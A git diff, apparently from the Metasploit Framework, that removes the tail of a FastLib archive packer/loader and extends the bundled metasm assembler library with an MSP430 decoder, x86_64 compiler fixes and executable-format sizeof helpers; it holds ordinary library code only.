buff) - - if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0 - - @@cache[lib][:fastlib_decrypt] ||= ::Proc.new do |data| - stub = "decrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 ) - FastLib.send(stub, data) - end - - buff = @@cache[lib][:fastlib_decrypt].call( buff ) - end - - if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0 - if not @@has_zlib - raise ::RuntimeError, "zlib is required to open this archive" - end - - z = Zlib::Inflate.new - buff = z.inflate(buff) - buff << z.finish - z.close - end - - buff - end - - # - # This method provides compression and encryption capabilities - # for the fastlib archive format. - # - def self.fastlib_filter_encode(lib, buff) - - if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0 - if not @@has_zlib - raise ::RuntimeError, "zlib is required to open this archive" - end - - z = Zlib::Deflate.new - buff = z.deflate(buff) - buff << z.finish - z.close - end - - if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0 - - @@cache[lib][:fastlib_encrypt] ||= ::Proc.new do |data| - stub = "encrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 ) - FastLib.send(stub, data) - end - - buff = @@cache[lib][:fastlib_encrypt].call( buff ) - end - - buff - end - - - # This method provides a way to create a FASTLIB archive programatically. - # - # @param [String] lib the output path for the archive - # @param [String] flag a string containing the hex values for the - # flags ({FLAG_COMPRESS} and {FLAG_ENCRYPT}). - # @param [String] bdir the path to the base directory which will be - # stripped from all paths included in the archive - # @param [Array] dirs list of directories/files to pack into - # the archive. All dirs should be under bdir so that the paths are - # stripped correctly. - # @return [void] - def self.dump(lib, flag, bdir, *dirs) - head = "" - data = "" - hidx = 0 - didx = 0 - - bdir = bdir.gsub(/\/$/, '') - brex = /^#{Regexp.escape(bdir)}\// - - @@cache[lib] = { - :fastlib_flags => flag.to_i(16) - } - - dirs.each do |dir| - ::Find.find(dir) do |path| - next if not ::File.file?(path) - name = fastlib_filter_encode( lib, path.sub( brex, "" ) ) - - buff = "" - ::File.open(path, "rb") do |fd| - buff = fastlib_filter_encode(lib, fd.read(fd.stat.size)) - end - - - head << [ name.length, didx, buff.length, ::File.stat(path).mtime.utc.to_i ].pack("NNNN") - head << name - hidx = hidx + 16 + name.length - - data << buff - didx = didx + buff.length - end - end - - head << [0,0,0].pack("NNN") - - ::File.open(lib, "wb") do |fd| - fd.write("FAST") - fd.write( [ head.length, flag.to_i(16) ].pack("NN") ) - fd.write( head ) - fd.write( data ) - end - end - - # - # This archive provides a way to list the contents of an archive - # file, returning the names only in sorted order. - # - def self.list(lib) - load_cache(lib) - ( @@cache[lib] || {} ).keys.map{|x| x.to_s }.sort.select{ |x| @@cache[lib][x] } - end - - # - # This method is called on the loaded is required to expand __FILE__ - # and other inline dynamic constants to map to the correct location. - # - def self.post_process(lib, name, data) - data.gsub('__FILE__', "'#{ ::File.expand_path(::File.join(::File.dirname(lib), name)) }'") - end - - # - # This is a stub crypto handler that performs a basic XOR - # operation against a fixed one byte key. The two usable IDs - # are 12345600 and 00000000 - # - def self.encrypt_12345600(data) - encrypt_00000000(data) - end - - def self.decrypt_12345600(data) - encrypt_00000000(data) - end - - def self.encrypt_00000000(data) - data.unpack("C*").map{ |c| c ^ 0x90 }.pack("C*") - end - - def self.decrypt_00000000(data) - encrypt_00000000(data) - end - - # - # Expose the cache to callers - # - def self.cache - @@cache - end -end - - -# -# Allow this library to be used as an executable to create and list -# FASTLIB archives -# -if __FILE__ == $0 - cmd = ARGV.shift - unless ["store", "list", "version"].include?(cmd) - $stderr.puts "Usage: #{$0} [dump|list|version] " - exit(0) - end - - case cmd - when "store" - dst = ARGV.shift - flg = ARGV.shift - dir = ARGV.shift - src = ARGV - unless dst and dir and src.length > 0 - $stderr.puts "Usage: #{$0} store destination.fastlib flags base_dir src1 src2 ... src99" - exit(0) - end - FastLib.dump(dst, flg, dir, *src) - - when "list" - src = ARGV.shift - unless src - $stderr.puts "Usage: #{$0} list" - exit(0) - end - $stdout.puts "Library: #{src}" - $stdout.puts "=====================================================" - FastLib.list(src).each do |name| - fsize = FastLib.cache[src][name][1] - ftime = ::Time.at(FastLib.cache[src][name][2]).strftime("%Y-%m-%d %H:%M:%S") - $stdout.puts sprintf("%9d\t%20s\t%s\n", fsize, ftime, name) - end - $stdout.puts "" - - when "version" - $stdout.puts "FastLib Version #{FastLib.version}" - end - - exit(0) -end - -# -# FASTLIB archive format (subject to change without notice) -# -=begin - - * All integers are 32-bit and in network byte order (big endian / BE) - * The file signature is 0x46415354 (big endian, use htonl() if necessary) - * The header is always 12 bytes into the archive (magic + header length) - * The data section is always 12 + header length into the archive - * The header entries always start with 'fastlib_header' - * The header entries always consist of 16 bytes + name length (no alignment) - * The header name data may be encoded, compressed, or transformed - * The data entries may be encoded, compressed, or transformed too - - - 4 bytes: "FAST" - 4 bytes: NBO header length - 4 bytes: NBO flags (24-bit crypto ID, 8 bit modes) - [ - 4 bytes: name length (0 = End of Names) - 4 bytes: data offset - 4 bytes: data length - 4 bytes: timestamp - ] - [ Raw Data ] - -=end - - -module Kernel #:nodoc:all - alias :fastlib_original_require :require - - # - # Store the CWD when were initially loaded - # required for resolving relative paths - # - @@fastlib_base_cwd = ::Dir.pwd - - # - # This method hooks the original Kernel.require to support - # loading files within FASTLIB archives - # - def require(name) - fastlib_require(name) || fastlib_original_require(name) - end - - # - # This method handles the loading of FASTLIB archives - # - def fastlib_require(name) - name = name + ".rb" if not name =~ /\.rb$/ - return false if fastlib_already_loaded?(name) - return false if fastlib_already_tried?(name) - - # XXX Implement relative search paths within archives - $:.map{ |path| - (path =~ /^([A-Za-z]\:|\/)/ ) ? path : ::File.expand_path( ::File.join(@@fastlib_base_cwd, path) ) - }.map{ |path| ::Dir["#{path}/*.fastlib"] }.flatten.uniq.each do |lib| - data = FastLib.load(lib, name) - next if not data - $" << name - - Object.class_eval(data, lib + "::" + name) - - return true - end - - $fastlib_miss << name - - false - end - - # - # This method determines whether the specific file name - # has already been loaded ($LOADED_FEATURES aka $") - # - def fastlib_already_loaded?(name) - re = Regexp.new("^" + Regexp.escape(name) + "$") - $".detect { |e| e =~ re } != nil - end - - # - # This method determines whether the specific file name - # has already been attempted with the included FASTLIB - # archives. - # - # TODO: Ensure that this only applies to known FASTLIB - # archives and that newly included archives will - # be searched appropriately. - # - def fastlib_already_tried?(name) - $fastlib_miss ||= [] - $fastlib_miss.include?(name) - end -end - - - - diff --git a/lib/metasm/metasm.rb b/lib/metasm/metasm.rb index 81c3d40aea..9e27a9681e 100644 --- a/lib/metasm/metasm.rb +++ b/lib/metasm/metasm.rb @@ -36,6 +36,7 @@ module Metasm 'Ia32' => 'cpu/ia32', 'MIPS' => 'cpu/mips', 'PowerPC' => 'cpu/ppc', 'ARM' => 'cpu/arm', 'X86_64' => 'cpu/x86_64', 'Sh4' => 'cpu/sh4', 'Dalvik' => 'cpu/dalvik', 'ARC' => 'cpu/arc', 'Python' => 'cpu/python', 'Z80' => 'cpu/z80', 'CY16' => 'cpu/cy16', 'BPF' => 'cpu/bpf', + 'MSP430' => 'cpu/msp430', 'C' => 'compile_c', 'MZ' => 'exe_format/mz', 'PE' => 'exe_format/pe', 'ELF' => 'exe_format/elf', 'COFF' => 'exe_format/coff', diff --git a/lib/metasm/metasm/cpu/ia32/parse.rb b/lib/metasm/metasm/cpu/ia32/parse.rb index 4c91da0d23..1d32f5db9e 100644 --- a/lib/metasm/metasm/cpu/ia32/parse.rb +++ b/lib/metasm/metasm/cpu/ia32/parse.rb @@ -104,7 +104,7 @@ class ModRM i = o s = 1 when Expression - if o.op == :* and (o.rexpr.kind_of? Reg or o.lexpr.kind_of? Reg) + if o.op == :* and (o.rexpr.kind_of?(Reg) or o.lexpr.kind_of?(Reg)) # scaled index raise otok, 'mrm: too many indexes' if i s = o.lexpr @@ -129,7 +129,9 @@ class ModRM walker[regify[content.reduce]] # ensure found immediate is really an immediate - raise otok, 'mrm: reg in imm' if imm.kind_of? Expression and not imm.externals.grep(Reg).empty? + raise otok, 'mrm: reg in imm' if imm.kind_of?(Expression) and not imm.externals.grep(Reg).empty? + + raise otok, 'mrm: bad reg size' if b.kind_of?(Reg) and i.kind_of?(Reg) and b.sz != i.sz # find default address size adsz = b ? b.sz : i ? i.sz : nil diff --git a/lib/metasm/metasm/cpu/msp430.rb b/lib/metasm/metasm/cpu/msp430.rb new file mode 100644 index 0000000000..78e89bcd8d --- /dev/null +++ b/lib/metasm/metasm/cpu/msp430.rb @@ -0,0 +1,8 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' +require 'metasm/cpu/msp430/decode' diff --git a/lib/metasm/metasm/cpu/msp430/decode.rb b/lib/metasm/metasm/cpu/msp430/decode.rb new file mode 100644 index 0000000000..2eb694243d --- /dev/null +++ b/lib/metasm/metasm/cpu/msp430/decode.rb @@ -0,0 +1,247 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/msp430/opcodes' +require 'metasm/decode' + +module Metasm +class MSP430 + def build_opcode_bin_mask(op) + op.bin_mask = 0 + op.fields.each_key { |f| + op.bin_mask |= @fields_mask[f] << @fields_shift[f] + } + op.bin_mask ^= 0xffff + end + + def build_bin_lookaside + lookaside = Array.new(256) { [] } + opcode_list.each { |op| + build_opcode_bin_mask op + b = (op.bin >> 8) & 255 + msk = (op.bin_mask >> 8) & 255 + + for i in b..(b | (255^msk)) + lookaside[i] << op if i & msk == b & msk + end + } + lookaside + end + + def decode_findopcode(edata) + di = DecodedInstruction.new(self) + val = edata.decode_imm(:u16, @endianness) + edata.ptr -= 2 + di.opcode = @bin_lookaside[(val >> 8) & 0xff].find { |opcode| (val & opcode.bin_mask) == opcode.bin } + di if di.opcode + end + + def decode_instr_op(edata, di) + before_ptr = edata.ptr + op = di.opcode + di.instruction.opname = op.name + val = edata.decode_imm(:u16, @endianness) + + field_val = lambda{ |f| + (val >> @fields_shift[f]) & @fields_mask[f] + } + + # must decode rs first + vals = {} + ([:rs, :rd, :r_pc] & op.args).each { |a| + mod = { :rs => :as, :rd => :ad, :r_pc => :ad }[a] + mod = :as if mod == :ad and not op.fields[mod] # addop_macro1 -> rs + ad + + if a == :r_pc + r = Reg.new(0) + else + r = Reg.new(field_val[a]) + end + + w = op.props[:byte] ? 1 : 2 + + case field_val[mod] + when 0 + if r.i == 3 and a == :rs + vals[a] = Expression[0] + else + vals[a] = r + end + when 1 + if r.i == 3 and a == :rs + vals[a] = Expression[1] + else + imm = edata.decode_imm(:u16, @endianness) + r = nil if r.i == 2 # [imm] + vals[a] = Memref.new(r, imm, w) + end + when 2 + if r.i == 3 + vals[a] = Expression[2] + elsif r.i == 2 + vals[a] = Expression[4] + else + vals[a] = Memref.new(r, 0, w) + end + when 3 + if r.i == 3 + vals[a] = Expression[-1] + elsif r.i == 2 + vals[a] = Expression[8] + elsif r.i == 0 # pc++ + # XXX order wrt other edata.decode_imm ? + vals[a] = Expression[edata.decode_imm(:u16, @endianness)] + else + vals[a] = Memref.new(r, 0, w, true) + end + end + } + + op.args.each { |a| + di.instruction.args << case a + when :joff; Expression[2 * Expression.make_signed(field_val[a], 10)] + when :rs, :rd, :r_pc; vals[a] + else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" + end + } + + di.bin_length += edata.ptr - before_ptr + + return if edata.ptr > edata.length + + di + end + + def decode_instr_interpret(di, addr) + if di.opcode.props[:setip] and di.opcode.name =~ /^j/ + delta = di.instruction.args.last.reduce + arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce + di.instruction.args[-1] = Expression[arg] + end + + di + end + + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + + def init_backtrace_binding + @backtrace_binding ||= {} + + opcode_list.map { |ol| ol.name }.uniq.each { |op| + @backtrace_binding[op] ||= case op + when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] }} + when 'cmp', 'test'; lambda { |di, *a| {} } # TODO + when 'add', 'adc' ; lambda { |di, a0, a1| { a0 => Expression[a0, :+, a1] } } + when 'sub', 'sbc'; lambda { |di, a0, a1| { a0 => Expression[a0, :-, a1] } } + when 'and'; lambda { |di, a0, a1| { a0 => Expression[a0, :&, a1] } } + when 'or'; lambda { |di, a0, a1| { a0 => Expression[a0, :|, a1] } } + when 'xor'; lambda { |di, a0, a1| { a0 => Expression[a0, :^, a1] } } + when 'push'; lambda { |di, a0| { Indirection[:sp, 2] => Expression[a0], + :sp => Expression[:sp, :-, 2] } } + when 'call'; lambda { |di, a0| { Indirection[:sp, 2] => Expression[di.next_addr], + :sp => Expression[:sp, :-, 2] } } + when 'pop'; lambda { |di, a0| { a0 => Expression[Indirection[:sp, 2]], + :sp => Expression[:sp, :+, 2] } } + when 'ret'; lambda { |di| { :sp => Expression[:sp, :+, 2] } } + when 'reti'; lambda { |di| { :sp => Expression[:sp, :+, 4] } } + when /^j/; lambda { |di, a0| {} } + end + } + + @backtrace_binding + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when Reg; arg.symbolic + when Memref; arg.symbolic(di.address) + else arg + end + } + + if binding = backtrace_binding[di.opcode.basename] + bd = binding[di, *a] || {} + di.instruction.args.grep(Memref).each { |m| + next unless r = m.base and m.postincr + r = m.base.symbolic + bd[r] ||= Expression[r, :+, m.size] + } + bd + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + { :incomplete_binding => Expression[1] } + end + end + + def get_xrefs_x(dasm, di) + return [] if not di.opcode.props[:setip] + + case di.instruction.opname + when 'ret' + return [Indirection[:sp, 2, di.address]] + when 'reti' + return [Indirection[[:sp, :+, 2], 2, di.address]] + end + + # XXX add pc, 42 ? + val = di.instruction.args[0] + case val + when Reg; val = val.symbolic + when Memref; val = val.symbolic(di.address) + end + + [Expression[val]] + end + + def backtrace_is_function_return(expr, di=nil) + expr = Expression[expr].reduce_rec + expr.kind_of?(Indirection) and expr.len == 2 and expr.target == Expression[:sp] + end + + # updates the function backtrace_binding + # if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand) + def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) + b = f.backtrace_binding + + bt_val = lambda { |r| + next if not retaddrlist + b[r] = Expression::Unknown + bt = [] + retaddrlist.each { |retaddr| + bt |= dasm.backtrace(Expression[r], retaddr, :include_start => true, + :snapshot_addr => faddr, :origin => retaddr) + } + if bt.length != 1 + b[r] = Expression::Unknown + else + b[r] = bt.first + end + } + + if not wantregs.empty? + wantregs.each(&bt_val) + else + bt_val[:sp] + end + + b + end + + def replace_instr_arg_immediate(i, old, new) + i.args.map! { |a| + case a + when Expression; a == old ? new : Expression[a.bind(old => new).reduce] + when Memref + a.base = (a.base == old ? new : Expression[a.base.bind(old => new).reduce]) if a.base.kind_of?(Expression) + a + else a + end + } + end +end +end diff --git a/lib/metasm/metasm/cpu/msp430/main.rb b/lib/metasm/metasm/cpu/msp430/main.rb new file mode 100644 index 0000000000..fba9fa6689 --- /dev/null +++ b/lib/metasm/metasm/cpu/msp430/main.rb @@ -0,0 +1,62 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/main' + +module Metasm + +class MSP430 < CPU + def initialize(e = :little) + super() + @endianness = e + @size = 16 + end + + class Reg + include Renderable + Sym = (4..15).inject(0 => :pc, 1 => :sp, 2 => :flags, 3 => :rzero) { |h, i| h.update i => "r#{i}".to_sym } + + attr_accessor :i + def initialize(i) ; @i = i end + def symbolic ; Sym[@i] end + def render ; [Sym[@i].to_s] end + def ==(o) ; o.class == self.class and o.i == @i end + end + + class Memref + attr_accessor :base, :offset, :size, :postincr + + def initialize(base, offset = 0, size = nil, postincr = false) + @base = base + @offset = Expression[offset] + @size = size + @postincr = postincr + end + + def symbolic(orig=nil) + r = @base.symbolic if @base + e = Expression[r, :+, @offset].reduce + Indirection[e, (@size || 1), orig] + end + + include Renderable + + def render + b = @base + b = @base.to_s + '++' if @base and @postincr + p = Expression[b, :+, @offset].reduce + Indirection[p, @size].render + end + end + + def init_opcode_list + init + end + + def dbg_register_list + @dbg_register_list ||= Reg::Sym.sort.transpose.last + end +end +end diff --git a/lib/metasm/metasm/cpu/msp430/opcodes.rb b/lib/metasm/metasm/cpu/msp430/opcodes.rb new file mode 100644 index 0000000000..a8825db93e --- /dev/null +++ b/lib/metasm/metasm/cpu/msp430/opcodes.rb @@ -0,0 +1,101 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/msp430/main' + +module Metasm +class MSP430 + def addop(name, bin, *args) + o = Opcode.new name, bin + + args.each { |a| + o.args << a if @valid_args[a] + o.props[a] = true if @valid_props[a] + o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] + } + + @opcode_list << o + end + + def init + @opcode_list = [] + + @fields_mask = { + :as => 3, # adressing mode + :ad => 1, # adressing mode + :rd => 0xf, + :rs => 0xf, + :joff => 0x3ff, # signed offset for jumps + } + @fields_shift = { + :as => 4, + :ad => 7, + :rd => 0, + :rs => 8, + :joff => 0, + } + @valid_args = { :r_pc => true, :rd => true, :rs => true, :joff => true } + @valid_props = { :setip => true, :stopexec => true, :saveip => true, :byte => true } + + # https://en.wikipedia.org/wiki/TI_MSP430 + + addop_macro1 'rrc', 0, :byte + addop_macro1 'swpb', 1 + addop_macro1 'rra', 2, :byte + addop_macro1 'sxt', 3 + addop_macro1 'push', 4, :byte + addop_macro1 'call', 5, :setip, :stopexec, :saveip + + addop 'reti', 0b000100_110_0000000 + + addop_macro2 'jnz', 0 + addop_macro2 'jz', 1 + addop_macro2 'jnc', 2 + addop_macro2 'jc', 3 + addop_macro2 'jb', 4 # 'jn' jump if negative => jl unsigned ? + addop_macro2 'jge', 5 + addop_macro2 'jl', 6 + addop_macro2 'jmp', 7, :stopexec + + addop 'ret', 0x4130, :setip, :stopexec # mov pc, [sp++] + addop 'pop', 0x4130, :rd, :ad # mov rd, [sp++] + + addop_macro3 'mov', 4 + addop_macro3 'add', 5 + addop_macro3 'adc', 6 # 'addc' + addop_macro3 'sbc', 7 + addop_macro3 'sub', 8 + addop_macro3 'cmp', 9 + addop_macro3 'dadd',10 # decimal add with carry + addop_macro3 'test',11 # 'bit' + addop_macro3 'andn',12 # 'bic' + addop_macro3 'or', 13 # 'bis' + addop_macro3 'xor', 14 + addop_macro3 'and', 15 + end + + def addop_macro1(name, bin, *props) + if props.delete :byte + addop_byte name, (0b000100 << 10) | (bin << 7), :as, :rd, *props + else + addop name, (0b000100 << 10) | (bin << 7), :as, :rd, *props + end + end + + def addop_macro2(name, bin, *props) + addop name, (0b001 << 13) | (bin << 10), :joff, :setip, *props + end + + def addop_macro3(name, bin, *props) + addop_byte name, (bin << 12), :r_pc, :ad, :as, :rs, :setip, :stopexec # dst == pc + addop_byte name, (bin << 12), :rd, :ad, :as, :rs + end + + def addop_byte(name, bin, *props) + addop name, bin, *props + addop name + '.b', bin | (1 << 6), :byte, *props + end +end +end diff --git a/lib/metasm/metasm/cpu/sh4/decode.rb b/lib/metasm/metasm/cpu/sh4/decode.rb index 30c653ca14..7e0629ddcf 100644 --- a/lib/metasm/metasm/cpu/sh4/decode.rb +++ b/lib/metasm/metasm/cpu/sh4/decode.rb @@ -39,6 +39,8 @@ class Sh4 end def decode_findopcode(edata) + return if edata.ptr >= edata.length + di = DecodedInstruction.new(self) val = edata.decode_imm(:u16, @endianness) edata.ptr -= 2 diff --git a/lib/metasm/metasm/cpu/x86_64/compile_c.rb b/lib/metasm/metasm/cpu/x86_64/compile_c.rb index a8581ba7a7..4c50fdafb2 100644 --- a/lib/metasm/metasm/cpu/x86_64/compile_c.rb +++ b/lib/metasm/metasm/cpu/x86_64/compile_c.rb @@ -594,6 +594,7 @@ class CCompiler < C::Compiler l = c_cexpr_inner(expr.lexpr) l = make_volatile(l, expr.type) r = c_cexpr_inner(expr.rexpr) + r = make_volatile(r, expr.type) if r.kind_of?(ModRM) and r.sz != l.sz unuse r if expr.lexpr.type.integral? or expr.lexpr.type.pointer? instr 'cmp', l, i_to_i32(r) @@ -790,6 +791,7 @@ class CCompiler < C::Compiler end instr 'mov', l, ll else + r = make_volatile(r, type) if r.kind_of?(ModRM) and r.sz != l.sz instr 'imul', l, r end unuse r @@ -876,18 +878,21 @@ class CCompiler < C::Compiler l = c_cexpr_inner(expr.lexpr) r = c_cexpr_inner(expr.rexpr) r = make_volatile(r, expr.type) if r.kind_of? ModRM and l.kind_of? ModRM + r = make_volatile(r, expr.type) if r.kind_of?(ModRM) and r.sz != l.sz + l = make_volatile(l, expr.type) if l.kind_of?(ModRM) and r.kind_of?(Reg) and r.sz != l.sz if l.kind_of? Expression o = { :< => :>, :> => :<, :>= => :<=, :<= => :>= }[o] || o l, r = r, l end - unuse l, r if expr.lexpr.type.integral? or expr.lexpr.type.pointer? - r = Reg.new(r.val, l.sz) if r.kind_of? Reg and r.sz != l.sz # XXX - instr 'cmp', l, i_to_i32(r) + rr = i_to_i32(r) + rr = Reg.new(rr.val, l.sz) if rr.kind_of? Reg and rr.sz != l.sz # XXX + instr 'cmp', l, rr elsif expr.lexpr.type.float? raise 'float unhandled' else raise 'bad comparison ' + expr.to_s end + unuse l, r op = 'j' + getcc(o, expr.lexpr.type) instr op, Expression[target] when :'!' diff --git a/lib/metasm/metasm/cpu/x86_64/opcodes.rb b/lib/metasm/metasm/cpu/x86_64/opcodes.rb index 149c090948..f023c5162d 100644 --- a/lib/metasm/metasm/cpu/x86_64/opcodes.rb +++ b/lib/metasm/metasm/cpu/x86_64/opcodes.rb @@ -61,7 +61,7 @@ class X86_64 addop('movq', [0x0F, 0x6E], :mrmmmx, {:d => [1, 4]}) { |o| o.args = [:modrm, :regmmx] ; o.props[:opsz] = o.props[:argsz] = 64 } addop('movq', [0x0F, 0x6E], :mrmxmm, {:d => [1, 4]}) { |o| o.args = [:modrm, :regxmm] ; o.props[:opsz] = o.props[:argsz] = 64 ; o.props[:needpfx] = 0x66 } - addop('jcxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 32 } # actually 16 (cx), but x64 in general says pfx 0x67 => adsz = 32 + addop('jecxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 32 } # actually 16 (cx), but x64 in general says pfx 0x67 => adsz = 32 addop('jrcxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 64 } end diff --git a/lib/metasm/metasm/exe_format/a_out.rb b/lib/metasm/metasm/exe_format/a_out.rb index 49ec2795f3..c273d51c55 100644 --- a/lib/metasm/metasm/exe_format/a_out.rb +++ b/lib/metasm/metasm/exe_format/a_out.rb @@ -93,6 +93,9 @@ class AOut < ExeFormat def encode_byte(w) Expression[w].encode(:u8 , @endianness) end def encode_half(w) Expression[w].encode(:u16, @endianness) end def encode_word(w) Expression[w].encode(:u32, @endianness) end + def sizeof_byte ; 1 ; end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end def initialize(cpu = nil) @endianness = cpu ? cpu.endianness : :little diff --git a/lib/metasm/metasm/exe_format/bflt.rb b/lib/metasm/metasm/exe_format/bflt.rb index 5c10a664e0..ec70a2756c 100644 --- a/lib/metasm/metasm/exe_format/bflt.rb +++ b/lib/metasm/metasm/exe_format/bflt.rb @@ -57,6 +57,7 @@ class Bflt < ExeFormat def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end def encode_word(w) Expression[w].encode(:u32, @endianness) end + def sizeof_word ; 4 ; end attr_accessor :endianness def initialize(cpu = nil) diff --git a/lib/metasm/metasm/exe_format/coff.rb b/lib/metasm/metasm/exe_format/coff.rb index d0c4027596..a330ea5f1f 100644 --- a/lib/metasm/metasm/exe_format/coff.rb +++ b/lib/metasm/metasm/exe_format/coff.rb @@ -140,7 +140,7 @@ class COFF < ExeFormat bytes :link_ver_maj, :link_ver_min words :code_size, :data_size, :udata_size, :entrypoint, :base_of_code # base_of_data does not exist in 64-bit - new_field(:base_of_data, lambda { |exe, hdr| exe.decode_word if exe.bitsize != 64 }, lambda { |exe, hdr, val| exe.encode_word(val) if exe.bitsize != 64 }, 0) + new_field(:base_of_data, lambda { |exe, hdr| exe.decode_word if exe.bitsize != 64 }, lambda { |exe, hdr, val| exe.encode_word(val) if exe.bitsize != 64 }, lambda { |exe, hdr| exe.bitsize != 64 ? 4 : 0 }, 0) # NT-specific fields xword :image_base words :sect_align, :file_align @@ -413,6 +413,11 @@ class COFF < ExeFormat end def shortname; 'coff'; end + + def sizeof_byte ; 1 ; end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end + def sizeof_xword ; @bitsize == 32 ? 4 : 8 ; end end # the COFF archive file format @@ -448,6 +453,9 @@ class COFFArchive < ExeFormat def member(name) @members.find { |m| m.name == name } end + + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end end end diff --git a/lib/metasm/metasm/exe_format/coff_decode.rb b/lib/metasm/metasm/exe_format/coff_decode.rb index 979fca8b0b..e46528a119 100644 --- a/lib/metasm/metasm/exe_format/coff_decode.rb +++ b/lib/metasm/metasm/exe_format/coff_decode.rb @@ -847,6 +847,7 @@ class COFFArchive ar.encoded.ptr += 1 if @size & 1 == 1 end + # TODO XXX are those actually used ? def decode_half ; @encoded.decode_imm(:u16, :big) end def decode_word ; @encoded.decode_imm(:u32, :big) end diff --git a/lib/metasm/metasm/exe_format/dex.rb b/lib/metasm/metasm/exe_format/dex.rb index b9f9fee141..6b9c5f0538 100644 --- a/lib/metasm/metasm/exe_format/dex.rb +++ b/lib/metasm/metasm/exe_format/dex.rb @@ -43,6 +43,7 @@ class DEX < ExeFormat class SerialStruct < Metasm::SerialStruct + # TODO move uleb/sleb to new_field for sizeof new_int_field :u2, :u4, :uleb, :sleb end @@ -328,6 +329,8 @@ class DEX < ExeFormat def encode_u4(val) Expression[val].encode(:u32, @endianness) end def decode_u2(edata = @encoded) edata.decode_imm(:u16, @endianness) end def decode_u4(edata = @encoded) edata.decode_imm(:u32, @endianness) end + def sizeof_u2 ; 2 ; end + def sizeof_u4 ; 4 ; end def decode_uleb(ed = @encoded, signed=false) v = s = 0 while s < 5*7 diff --git a/lib/metasm/metasm/exe_format/dol.rb b/lib/metasm/metasm/exe_format/dol.rb index c78df35df2..b061375914 100644 --- a/lib/metasm/metasm/exe_format/dol.rb +++ b/lib/metasm/metasm/exe_format/dol.rb @@ -26,6 +26,7 @@ class Dol < ExeFormat def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end def encode_word(w) Expression[w].encode(:u32, @endianness) end + def sizeof_word ; 4 ; end def initialize(cpu = nil) @endianness = :big diff --git a/lib/metasm/metasm/exe_format/elf.rb b/lib/metasm/metasm/exe_format/elf.rb index 6615e298d1..b9f3e33542 100644 --- a/lib/metasm/metasm/exe_format/elf.rb +++ b/lib/metasm/metasm/exe_format/elf.rb @@ -21,29 +21,52 @@ class ELF < ExeFormat TYPE_HIPROC = 0xffff MACHINE = { - 0 => 'NONE', 1 => 'M32', 2 => 'SPARC', 3 => '386', - 4 => '68K', 5 => '88K', 6 => '486', 7 => '860', - 8 => 'MIPS', 9 => 'S370', 10 => 'MIPS_RS3_LE', - 15 => 'PARISC', - 17 => 'VPP500',18 => 'SPARC32PLUS', 19 => '960', - 20 => 'PPC', 21 => 'PPC64', 22 => 'S390', - 36 => 'V800', 37 => 'FR20', 38 => 'RH32', 39 => 'MCORE', - 40 => 'ARM', 41 => 'ALPHA_STD', 42 => 'SH', 43 => 'SPARCV9', - 44 => 'TRICORE', 45 => 'ARC', 46 => 'H8_300', 47 => 'H8_300H', - 48 => 'H8S', 49 => 'H8_500', 50 => 'IA_64', 51 => 'MIPS_X', + 0 => 'NONE', 1 => 'M32', 2 => 'SPARC', 3 => '386', + 4 => '68K', 5 => '88K', 6 => '486', 7 => '860', + 8 => 'MIPS', 9 => 'S370', 10 => 'MIPS_RS3_LE', + 15 => 'PARISC', 17 => 'VPP500', 18 => 'SPARC32PLUS', 19 => '960', + 20 => 'PPC', 21 => 'PPC64', 22 => 'S390', 23 => 'SPU', + 36 => 'V800', 37 => 'FR20', 38 => 'RH32', 39 => 'MCORE', + 40 => 'ARM', 41 => 'ALPHA', 42 => 'SH', 43 => 'SPARCV9', + 44 => 'TRICORE', 45 => 'ARC', 46 => 'H8_300', 47 => 'H8_300H', + 48 => 'H8S', 49 => 'H8_500', 50 => 'IA_64', 51 => 'MIPS_X', 52 => 'COLDFIRE', 53 => '68HC12', 54 => 'MMA', 55 => 'PCP', - 56 => 'NCPU', 57 => 'NDR1', 58 => 'STARCORE', 59 => 'ME16', - 60 => 'ST100', 61 => 'TINYJ', 62 => 'X86_64', 63 => 'PDSP', - 66 => 'FX66', 67 => 'ST9PLUS', - 68 => 'ST7', 69 => '68HC16', 70 => '68HC11', 71 => '68HC08', - 72 => '68HC05',73 => 'SVX', 74 => 'ST19', 75 => 'VAX', - 76 => 'CRIS', 77 => 'JAVELIN',78 => 'FIREPATH', 79 => 'ZSP', - 80 => 'MMIX', 81 => 'HUANY', 82 => 'PRISM', 83 => 'AVR', - 84 => 'FR30', 85 => 'D10V', 86 => 'D30V', 87 => 'V850', - 88 => 'M32R', 89 => 'MN10300',90 => 'MN10200',91 => 'PJ', - 92 => 'OPENRISC', 93 => 'ARC_A5', 94 => 'XTENSA', - 99 => 'PJ', - 